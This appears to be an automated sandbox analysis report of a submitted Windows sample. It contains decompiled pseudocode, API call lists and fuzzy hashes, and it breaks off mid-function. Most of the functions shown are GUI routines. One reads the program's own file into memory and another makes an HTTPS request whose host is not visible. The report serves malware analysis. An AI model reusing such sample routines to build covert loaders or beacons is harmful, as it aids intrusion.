PostMessageA.USER32 ref: 000FF78E

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$PostSend$FocusWindow$ExceptionRaise
String ID:
API String ID: 2403622169-0
Opcode ID: 5fa78d1d5027d8a9955e08aea975d9db36deec20277c256b5ecbadc469f56359
Instruction ID: 97b65f91d793c1c760e1c28cb77cd4912409ee9d83954742ce3f088a44870beb
Opcode Fuzzy Hash: 5fa78d1d5027d8a9955e08aea975d9db36deec20277c256b5ecbadc469f56359
Instruction Fuzzy Hash: 2E711B3170470B6BD765AB788C84BB9F7D0BF15720F208325E7A4D7AE0CBB5A8819791

Uniqueness

Uniqueness Score: -1.00%

Function 02524DA7 Relevance: 19.7, APIs: 13, Instructions: 184stringfilememoryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 02524DBB
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 02524DF4
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 02524E18
GetFileSize.KERNEL32(000000FF,00000000), ref: 02524E3A
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 02524E63
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 02524EA4
lstrlen.KERNEL32(?), ref: 02524EE6
lstrcpyn.KERNEL32(?,?,-00000001), ref: 02524FD3
lstrcat.KERNEL32(?,0400C4D4), ref: 02524FE5
lstrcpy.KERNEL32(?,?), ref: 02525003
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0252507A
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0252508E
CloseHandle.KERNEL32(000000FF), ref: 0252509B

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: File$Virtual$FreeHandleModule$AllocCloseCreateNameReadSizelstrcatlstrcpylstrcpynlstrlen
String ID:
API String ID: 4040249471-0
Opcode ID: 1a0209626485b6d3948945da324893d9d32faf129b266243e31338320ff8385c
Instruction ID: d1e79eea54c0a27f281e10965bb90afb9af869ee3a5af28bdd03b3e456633135
Opcode Fuzzy Hash: 1a0209626485b6d3948945da324893d9d32faf129b266243e31338320ff8385c
Instruction Fuzzy Hash: CB812DB1940228ABDB28DF64DC88BE9B775BB49305F1041D8E609A72C0D7759FC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 025240C7 Relevance: 19.6, APIs: 13, Instructions: 133networkfilestringCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0400E004,00000001,00000000,00000000,00000000), ref: 02524103
InternetConnectA.WININET(00000000,00000000,000001BB,0400C3D2,0400C3D1,00000003,00000000,00000000), ref: 02524133
HttpOpenRequestA.WININET(00000000,0400C3DC,0400C3D8,0400C3D4,00000000,00000000,80800000,00000000), ref: 02524164
wsprintfA.USER32 ref: 02524187
InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 025241AF
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 025241D5
lstrlen.KERNEL32(0400C3EC,00000000,00000000), ref: 025241E3
HttpSendRequestA.WININET(00000000,0400C3EC,00000000), ref: 025241F2
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 0252423A
GetLastError.KERNEL32 ref: 02524276
InternetCloseHandle.WININET(00000000), ref: 02524292
InternetCloseHandle.WININET(00000000), ref: 0252429C
InternetCloseHandle.WININET(00000000), ref: 025242A6

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenOptionRequest$ConnectErrorFileLastQueryReadSendlstrlenwsprintf
String ID:
API String ID: 2082764430-0
Opcode ID: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction ID: d107eb3a106b14876ac793fd21bd0d5802e0c0ecedaf328abaafdb614584f9bc
Opcode Fuzzy Hash: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction Fuzzy Hash: 2251FD75944218AFEB24CF95DC89BEE77B4FB49700F108598EA05B72C0C7B8AA94CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00100880 Relevance: 19.6, APIs: 13, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00100880(intOrPtr __ecx, void* __edx, void* __esi) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagLOGFONTA _v84;
				char _v140;
				void _v144;
				void* _v148;
				void* _v152;
				intOrPtr _v156;
				void* __ebx;
				void* __edi;
				signed int _t51;
				void* _t55;
				signed int _t64;
				intOrPtr _t65;
				int _t67;
				void* _t68;
				int _t76;
				intOrPtr _t80;
				void* _t82;
				intOrPtr _t89;
				void* _t97;
				intOrPtr _t103;
				struct HDC__* _t104;
				signed int _t106;
				void* _t107;

				_t105 = __esi;
				_t97 = __edx;
				_t51 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t51 ^ _t106;
				_t103 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x14));
				_v156 = __ecx;
				if(( *(_t80 + 8) & 0x00000800) == 0) {
					_t104 = GetWindowDC(0);
					_v148 = 0;
					if(( *(_t80 + 0xc) & 0x00001000) == 0) {
						_t55 =  *(__esi + 0xa4);
					} else {
						_v84.lfHeight = 0;
						E00106820( &(_v84.lfWidth), 0, 0x38);
						_t107 = _t107 + 0xc;
						GetObjectA( *(__esi + 0xa4), 0x3c,  &_v84);
						_v84.lfWeight = _v84.lfWeight + 0xc8;
						_t55 = CreateFontIndirectA( &_v84);
						_v148 = _t55;
					}
					_v152 = SelectObject(_t104, _t55);
					_v24.left = 0;
					_v24.top = 0;
					_v24.right = 0;
					_v24.bottom = 0;
					DrawTextA(_t104,  *(_t80 + 4), 0xffffffff,  &_v24, 0x424);
					_t82 = _v24.right - _v24.left;
					SelectObject(_t104, _v152);
					_v144 = 0;
					E00106820( &_v140, 0, 0x38);
					GetObjectA( *(_t105 + 0xa4), 0x3c,  &_v144);
					_t64 = _v144;
					if(_t64 < 0) {
						_t64 =  ~_t64;
					}
					_t89 =  *((intOrPtr*)(_t105 + 0x9c));
					_t65 = _t64 + 8;
					if(_t65 <= _t89) {
						_t65 = _t89;
					}
					 *((intOrPtr*)(_v156 + 0x10)) = _t65;
					_t46 =  *((intOrPtr*)(_t105 + 0xb0)) +  *(_t105 + 0x98) * 2 + 5; // 0xeb102474
					_t67 = GetSystemMetrics(0x47);
					_t101 = _v156;
					_t68 = _v148;
					_t85 = _t82 + _t46 - _t67 + 1;
					 *((intOrPtr*)(_v156 + 0xc)) = _t82 + _t46 - _t67 + 1;
					if(_t68 != 0) {
						DeleteObject(_t68);
					}
					return E001059E6(ReleaseDC(0, _t104), _t85, _v8 ^ _t106, _t101, _t104, _t105);
				} else {
					_t76 = GetSystemMetrics(0xf);
					asm("cdq");
					 *(_t103 + 0x10) = _t76 - _t97 >> 1;
					 *(_t103 + 0xc) = 0;
					return E001059E6(_t76 - _t97 >> 1, _t80, _v8 ^ _t106, _t97, _t103, __esi);
				}
			}

0x00100880
0x00100880
0x00100889
0x00100890
0x00100895
0x00100897
0x001008a1
0x001008a7
0x001008d8
0x001008e3
0x001008e9
0x00100929
0x001008eb
0x001008ee
0x001008f5
0x00100900
0x0010090a
0x00100910
0x0010091b
0x00100921
0x00100921
0x00100945
0x0010094f
0x00100952
0x00100955
0x00100958
0x0010095b
0x0010096a
0x0010096f
0x00100980
0x0010098a
0x001009a2
0x001009a8
0x001009b0
0x001009b2
0x001009b2
0x001009b4
0x001009ba
0x001009bf
0x001009c1
0x001009c1
0x001009c9
0x001009dd
0x001009e1
0x001009e7
0x001009ef
0x001009f5
0x001009f6
0x001009fb
0x001009fe
0x001009fe
0x00100a1c
0x001008a9
0x001008ab
0x001008b1
0x001008b6
0x001008b9
0x001008cf
0x001008cf

APIs

GetSystemMetrics.USER32 ref: 001008AB
GetWindowDC.USER32(00000000,?,?), ref: 001008D2
_memset.LIBCMT ref: 001008F5
GetObjectA.GDI32(?,0000003C,?), ref: 0010090A
CreateFontIndirectA.GDI32(?), ref: 0010091B
SelectObject.GDI32(00000000,?), ref: 00100931
DrawTextA.USER32(00000000,?,000000FF,000FC567,00000424), ref: 0010095B
SelectObject.GDI32(00000000,?), ref: 0010096F
_memset.LIBCMT ref: 0010098A
GetObjectA.GDI32(?,0000003C,00000000), ref: 001009A2
GetSystemMetrics.USER32 ref: 001009E1
DeleteObject.GDI32(?), ref: 001009FE
ReleaseDC.USER32 ref: 00100A07

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Object$MetricsSelectSystem_memset$CreateDeleteDrawFontIndirectReleaseTextWindow
String ID:
API String ID: 2607864528-0
Opcode ID: 77c190da4f62d099ec152913dd9b0e27957fe19cd1253fa0c2c2cff0a0ff5c68
Instruction ID: ccade1f8148cfa7e6c0f1a73ab9bbeff6d41ec37094048f43733e7f9f9900284
Opcode Fuzzy Hash: 77c190da4f62d099ec152913dd9b0e27957fe19cd1253fa0c2c2cff0a0ff5c68
Instruction Fuzzy Hash: 2E411970A00309DFDB55DFA8DD85BAAB7B8FB48304F108599A549E7281DBB0A984CF61

Uniqueness

Uniqueness Score: -1.00%

Function 000F6DE0 Relevance: 19.6, APIs: 13, Instructions: 105
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E000F6DE0(int __ecx, int __edx, void* __esi, long _a4) {
				signed int _v8;
				signed int _v52;
				short _v182;
				struct tagTEXTMETRICA _v240;
				signed int _v244;
				void* _v256;
				int _v260;
				int _v268;
				void* _v272;
				void* _v280;
				struct HWND__* _v284;
				void* __ebx;
				void* __edi;
				signed int _t32;
				struct HWND__* _t40;
				int _t49;
				void* _t60;
				signed int _t69;
				int _t75;
				struct HDC__* _t78;
				void* _t79;
				void* _t80;
				signed int _t81;
				signed int _t83;

				_t80 = __esi;
				_t83 = (_t81 & 0xfffffff8) - 0xf0;
				_t32 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t32 ^ _t83;
				_v240.tmHeight = CallWindowProcA( *(__esi + 0x20),  *(__esi + 4), __edx, __ecx, _a4);
				SendMessageA( *(__esi + 4), 0x435, 0, 0x3d0900);
				SendMessageA( *(__esi + 4), 0x30,  *(__esi + 0x4c), 1);
				_t40 =  *(__esi + 4);
				_v244 = _t40;
				_t78 = GetDC(_t40);
				_v256 = SelectObject(_t78,  *(__esi + 0x4c));
				GetTextMetricsA(_t78,  &_v240);
				_v260 = GetDeviceCaps(_t78, 0x58);
				SelectObject(_t78, _v272);
				_t49 = MulDiv(_v244 * 8, 0x5a0, _v268);
				if(_t49 != 0xffffffff) {
					_v182 = 0x20;
					_v240.tmDigitizedAspectX = 0x10;
					_t69 = 0;
					_t75 = _t49;
					do {
						 *(_t83 + 0x6c + _t69 * 4) = _t75;
						_t69 = _t69 + 1;
						_t75 = _t75 + _t49;
					} while (_t69 < 0x20);
					_v240.tmOverhang = 0x9c;
					SendMessageA( *(__esi + 4), 0x447, 0,  &(_v240.tmOverhang));
				}
				SelectObject(_t78, _v280);
				SendMessageA( *(_t80 + 4), 0xb9, 0, 0);
				ReleaseDC(_v284, _t78);
				_pop(_t79);
				_pop(_t60);
				return E001059E6(_v280, _t60, _v52 ^ _t83,  *(_t80 + 4), _t79, _t80);
			}

0x000f6de0
0x000f6de6
0x000f6dec
0x000f6df3
0x000f6e26
0x000f6e2a
0x000f6e38
0x000f6e3a
0x000f6e3e
0x000f6e48
0x000f6e5b
0x000f6e5f
0x000f6e6e
0x000f6e78
0x000f6e94
0x000f6e9d
0x000f6ea4
0x000f6ea9
0x000f6eb1
0x000f6eb3
0x000f6eb5
0x000f6eb5
0x000f6eb9
0x000f6eba
0x000f6ebc
0x000f6ed1
0x000f6ed9
0x000f6ed9
0x000f6ee1
0x000f6ef4
0x000f6efc
0x000f6f0d
0x000f6f0e
0x000f6f19

APIs

CallWindowProcA.USER32 ref: 000F6E0A
SendMessageA.USER32(?,00000435,00000000,003D0900), ref: 000F6E2A
SendMessageA.USER32(?,00000030,?,00000001), ref: 000F6E38
GetDC.USER32(?), ref: 000F6E42
SelectObject.GDI32(00000000,?), ref: 000F6E4F
GetTextMetricsA.GDI32(00000000,?), ref: 000F6E5F
GetDeviceCaps.GDI32(00000000,00000058), ref: 000F6E68
SelectObject.GDI32(00000000,?), ref: 000F6E78
MulDiv.KERNEL32(00000000,000005A0,?), ref: 000F6E94
SendMessageA.USER32(?,00000447,00000000,?), ref: 000F6ED9
SelectObject.GDI32(00000000,?), ref: 000F6EE1
SendMessageA.USER32(?,000000B9,00000000,00000000), ref: 000F6EF4
ReleaseDC.USER32 ref: 000F6EFC

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$ObjectSelect$CallCapsDeviceMetricsProcReleaseTextWindow
String ID:
API String ID: 2146902509-0
Opcode ID: b7c83e5d0cf692ec9797372616c4194366b0df7197906de7d08f0d8ca94a5515
Instruction ID: 0fe6ed0515ff962469472ab137c7f485656b9f3d8840e8c6ffb1086698052738
Opcode Fuzzy Hash: b7c83e5d0cf692ec9797372616c4194366b0df7197906de7d08f0d8ca94a5515
Instruction Fuzzy Hash: 58312775614304AFD324DF64DD89F6BB7E8AB8CB00F00890CB699C7690DBB4E8418B66

Uniqueness

Uniqueness Score: -1.00%

Function 000FC9B0 Relevance: 19.6, APIs: 13, Instructions: 89
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E000FC9B0(CHAR* __eax, signed int __ecx, CHAR* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				CHAR* _t12;
				int _t17;
				int _t20;
				CHAR* _t23;
				CHAR* _t25;
				intOrPtr _t28;
				intOrPtr _t30;
				CHAR* _t35;
				intOrPtr* _t36;
				CHAR* _t39;

				_t12 = __eax;
				_t30 = _a4;
				 *(_t30 + 0x30) =  *(_t30 + 0x30) | __ecx;
				_t35 = __edx;
				if(__eax == 0) {
					_t12 = GetActiveWindow();
				}
				 *(_t30 + 0x28) = _t12;
				if(_t35 != 0) {
					_t25 = _t30 + 0x4c;
					if(_t25 != 0) {
						if(lstrlenA(_t35) <= 0x7f) {
							_t20 = lstrlenA(_t35);
						} else {
							_t20 = 0x7f;
						}
						_t12 = lstrcpynA(_t25, _t35, _t20 + 1);
					}
				}
				_t23 = _a12;
				if(_t23 != 0) {
					_t39 = _t30 + 0xcc;
					if(_t39 != 0) {
						if(lstrlenA(_t23) <= 0x7f) {
							_t17 = lstrlenA(_t23);
						} else {
							_t17 = 0x7f;
						}
						_t12 = lstrcpynA(_t39, _t23, _t17 + 1);
					}
				}
				_t36 = _t30 + 8;
				if(_t36 == 0) {
					RaiseException(0xc0000005, 1, 0, 0);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					return _t12;
				} else {
					 *_t36 = _t30;
					 *((intOrPtr*)(_t36 + 4)) = GetCurrentThreadId();
					EnterCriticalSection(0x170c68);
					_t28 =  *0x170c80; // 0x0
					 *((intOrPtr*)(_t36 + 8)) = _t28;
					 *0x170c80 = _t36;
					LeaveCriticalSection(0x170c68);
					_push(_t30 + 0x24);
					if(_a8 == 0) {
						return ReplaceTextA(??);
					} else {
						return FindTextA();
					}
				}
			}

0x000fc9b0
0x000fc9b5
0x000fc9b8
0x000fc9bb
0x000fc9bf
0x000fc9c1
0x000fc9c1
0x000fc9c7
0x000fc9cd
0x000fc9cf
0x000fc9d4
0x000fc9e0
0x000fc9ea
0x000fc9e2
0x000fc9e2
0x000fc9e2
0x000fc9f4
0x000fc9f4
0x000fc9d4
0x000fc9fa
0x000fc9ff
0x000fca01
0x000fca09
0x000fca15
0x000fca1f
0x000fca17
0x000fca17
0x000fca17
0x000fca29
0x000fca29
0x000fca09
0x000fca2f
0x000fca35
0x000fca94
0x000fca9a
0x000fca9b
0x000fca9c
0x000fca9d
0x000fca9e
0x000fca9f
0x000fcaa0
0x000fca37
0x000fca37
0x000fca44
0x000fca47
0x000fca4d
0x000fca53
0x000fca5b
0x000fca61
0x000fca6e
0x000fca6f
0x000fca86
0x000fca71
0x000fca7a
0x000fca7a
0x000fca6f

APIs

GetActiveWindow.USER32 ref: 000FC9C1
lstrlenA.KERNEL32(?,00000000,?,00000000,?,000F71AB,00000000,?,?), ref: 000FC9D7
lstrlenA.KERNEL32(?,?,000F71AB,00000000,?,?), ref: 000FC9EA
lstrcpynA.KERNEL32(?,?,00000001,?,000F71AB,00000000,?,?), ref: 000FC9F4
lstrlenA.KERNEL32(000F71AB,00000000,?,00000000,?,000F71AB,00000000,?,?), ref: 000FCA0C
lstrlenA.KERNEL32(000F71AB,?,000F71AB,00000000,?,?), ref: 000FCA1F
lstrcpynA.KERNEL32(?,000F71AB,00000001,?,000F71AB,00000000,?,?), ref: 000FCA29
GetCurrentThreadId.KERNEL32 ref: 000FCA39
EnterCriticalSection.KERNEL32(00170C68,?,000F71AB,00000000,?,?), ref: 000FCA47
LeaveCriticalSection.KERNEL32(00170C68,?,000F71AB,00000000,?,?), ref: 000FCA61
FindTextA.COMDLG32(?,?,000F71AB), ref: 000FCA71
ReplaceTextA.COMDLG32(?,?,000F71AB), ref: 000FCA7D

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$CriticalSectionTextlstrcpyn$ActiveCurrentEnterFindLeaveReplaceThreadWindow
String ID:
API String ID: 2015787953-0
Opcode ID: 970a29b899c8de491e93ccaf7cf9abc7676cf6fadb452d80d8ffd4a70e166f64
Instruction ID: 52cd20a771fcbbf2c24f0997ba586e0a45bb18a8bb1801a447d0cdb10f8f6d90
Opcode Fuzzy Hash: 970a29b899c8de491e93ccaf7cf9abc7676cf6fadb452d80d8ffd4a70e166f64
Instruction Fuzzy Hash: 9721D83190071DEBE3169F61EE8DFFA77A8FB08711F108115FA06D2910C7B4A8C09B51

Uniqueness

Uniqueness Score: -1.00%

Function 000FE0A0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 132
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E000FE0A0(void* __esi, int _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				struct tagRECT _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed char _v52;
				intOrPtr _v56;
				void* _v60;
				void* _v64;
				intOrPtr* _v68;
				struct HWND__* _v72;
				void* __ebx;
				void* __edi;
				signed int _t48;
				intOrPtr* _t50;
				int _t56;
				signed char _t65;
				void* _t96;
				struct HWND__* _t97;
				void* _t99;
				void* _t100;
				signed int _t102;

				_t101 = __esi;
				_t48 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t48 ^ _t102;
				_t50 = _a8;
				_v68 = _t50;
				 *_t50 = 0;
				if(IsWindowEnabled( *(__esi + 0x5c)) == 0) {
					L12:
					_pop(_t96);
					return E001059E6(0, 0, _v8 ^ _t102, _t91, _t96, _t101);
				} else {
					_t97 =  *((intOrPtr*)(__esi + 4));
					_v72 = _t97;
					if(GetFocus() != _t97) {
						goto L12;
					} else {
						_t56 = _a4;
						_v64 = 0;
						if(_t56 == 0xd) {
							L6:
							_v40.left = 0;
							_v40.top = 0;
							_v40.right = 0;
							_v40.bottom = 0;
							GetClientRect( *(_t101 + 4),  &_v40);
							_v20 = 0;
							_v16 = 0;
							_v12 = 0;
							_v24 = 0;
							SendMessageA( *(_t101 + 4), 0x41d, _v64,  &_v24);
							_t91 =  *(_t101 + 4);
							_v56 = 0;
							_v52 = 0;
							_v48 = 0;
							_v44 = 0;
							_v60 = 0;
							SendMessageA( *(_t101 + 4), 0x417, _v64,  &_v60);
							_t65 = _v52;
							if((_t65 & 0x00000004) == 0 || (_t65 & 0x00000008) != 0 || _v16 > _v40.right) {
								MessageBeep(0);
								 *_v68 = 1;
								goto L12;
							} else {
								PostMessageA( *(_t101 + 4), 0x100, 0x28, 0);
								if(_a4 == 0xd) {
									goto L12;
								} else {
									SendMessageA( *(_t101 + 4), 0x448, _v64, 0);
									_pop(_t99);
									return E001059E6(0, 0, _v8 ^ _t102, _v64, _t99, _t101);
								}
							}
						} else {
							_t91 = _t56;
							if(SendMessageA(_v72, 0x44e, _t56,  &_v64) != 0) {
								goto L6;
							} else {
								if(_a4 == 0x2f) {
									goto L12;
								} else {
									MessageBeep(0);
									_pop(_t100);
									return E001059E6(0, 0, _v8 ^ _t102, _t91, _t100, __esi);
								}
							}
						}
					}
				}
			}

0x000fe0a0
0x000fe0a6
0x000fe0ad
0x000fe0b0
0x000fe0b6
0x000fe0b9
0x000fe0c8
0x000fe1ef
0x000fe1f2
0x000fe200
0x000fe0ce
0x000fe0ce
0x000fe0d1
0x000fe0dc
0x00000000
0x000fe0e2
0x000fe0e2
0x000fe0eb
0x000fe0f1
0x000fe12f
0x000fe139
0x000fe13c
0x000fe13f
0x000fe142
0x000fe145
0x000fe153
0x000fe156
0x000fe159
0x000fe167
0x000fe16a
0x000fe16f
0x000fe174
0x000fe177
0x000fe17a
0x000fe17d
0x000fe18b
0x000fe18e
0x000fe190
0x000fe195
0x000fe1e0
0x000fe1e9
0x00000000
0x000fe1a3
0x000fe1af
0x000fe1b9
0x00000000
0x000fe1bb
0x000fe1c9
0x000fe1cd
0x000fe1dc
0x000fe1dc
0x000fe1b9
0x000fe0f3
0x000fe0f3
0x000fe108
0x00000000
0x000fe10a
0x000fe10e
0x00000000
0x000fe114
0x000fe115
0x000fe11d
0x000fe12c
0x000fe12c
0x000fe10e
0x000fe108
0x000fe0f1
0x000fe0dc

APIs

IsWindowEnabled.USER32(?), ref: 000FE0C0
GetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000FC459,00000020), ref: 000FE0D4
SendMessageA.USER32(?,0000044E,?,?), ref: 000FE104
MessageBeep.USER32(00000000), ref: 000FE115
GetClientRect.USER32 ref: 000FE145
SendMessageA.USER32(?,0000041D,?,00000020), ref: 000FE16A
SendMessageA.USER32(?,00000417,?,?), ref: 000FE18E
PostMessageA.USER32 ref: 000FE1AF
SendMessageA.USER32(?,00000448,?,00000000), ref: 000FE1C9
MessageBeep.USER32(00000000), ref: 000FE1E0

Strings

/, xrefs: 000FE10A

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$Send$Beep$ClientEnabledFocusPostRectWindow
String ID: /
API String ID: 787769824-2043925204
Opcode ID: 3b7873707c45edd87fe1763c4d17f863e74cf7a558b05cf9375d99227fb71e5b
Instruction ID: 17122f43447e7cafb548ea796ba514a323f9de667ff157556c8985edd282ef88
Opcode Fuzzy Hash: 3b7873707c45edd87fe1763c4d17f863e74cf7a558b05cf9375d99227fb71e5b
Instruction Fuzzy Hash: 824127B1E0020CAFDB54DFA9DD84AAEB7F9FB58300B10842AF949E7650E770A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000FDC90 Relevance: 18.2, APIs: 12, Instructions: 187
windowthreadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E000FDC90(int __edx, void* __eflags, long _a4, long _a8) {
				char _v0;
				void* _v8;
				long _v12;
				signed int _v16;
				signed int _v20;
				long _v24;
				long _v28;
				char _v32;
				struct _CRITICAL_SECTION* _v36;
				long _v48;
				intOrPtr _v52;
				char _v72;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t62;
				struct HWND__* _t69;
				struct HWND__* _t70;
				long _t75;
				signed int _t76;
				long _t77;
				long _t85;
				struct HHOOK__* _t88;
				signed int _t91;
				long _t96;
				void* _t101;
				struct HHOOK__** _t102;
				long _t105;
				long _t108;
				void* _t111;
				int _t112;
				int _t116;
				struct HHOOK__** _t124;
				intOrPtr* _t129;
				long _t133;
				struct HHOOK__** _t136;
				int* _t141;
				long _t143;
				intOrPtr _t144;
				long _t146;
				void* _t149;
				signed int _t150;
				long _t157;
				long _t159;

				_push(0xffffffff);
				_push(E0010F648);
				_push( *[fs:0x0]);
				_t150 = _t149 - 0x14;
				_t62 =  *0x159060; // 0x1f9a9bdf
				_push(_t62 ^ _t147);
				 *[fs:0x0] =  &_v16;
				_v20 = _t150;
				_t108 = _a4;
				_v28 = CallWindowProcA( *(_t108 + 0x40),  *(_t108 + 4), __edx, _t112, _a8);
				E001011F0(_t108);
				_t126 =  *(_t108 + 4);
				_t69 = GetParent( *(_t108 + 4));
				_t131 = _t69;
				_t70 = GetParent(_t69);
				while(_t70 != 0) {
					_t131 = _t70;
					_t70 = GetParent(_t70);
				}
				E00100820(_t131, _t108 + 0x5c);
				SendMessageA( *(_t108 + 4), 0x41e, 0x14, 0);
				SendMessageA( *(_t108 + 4), 0x430, 0, 0);
				_v36 = 0x170c68;
				_v8 = 0;
				EnterCriticalSection(0x170c68);
				_v32 = 1;
				_t157 =  *0x171994; // 0x0
				if(_t157 != 0) {
					L7:
					_t75 = GetCurrentThreadId();
					_t141 =  *0x171994; // 0x0
					_t116 = _t141[2];
					_t133 = _t75;
					_t76 = 0;
					_v24 = _t133;
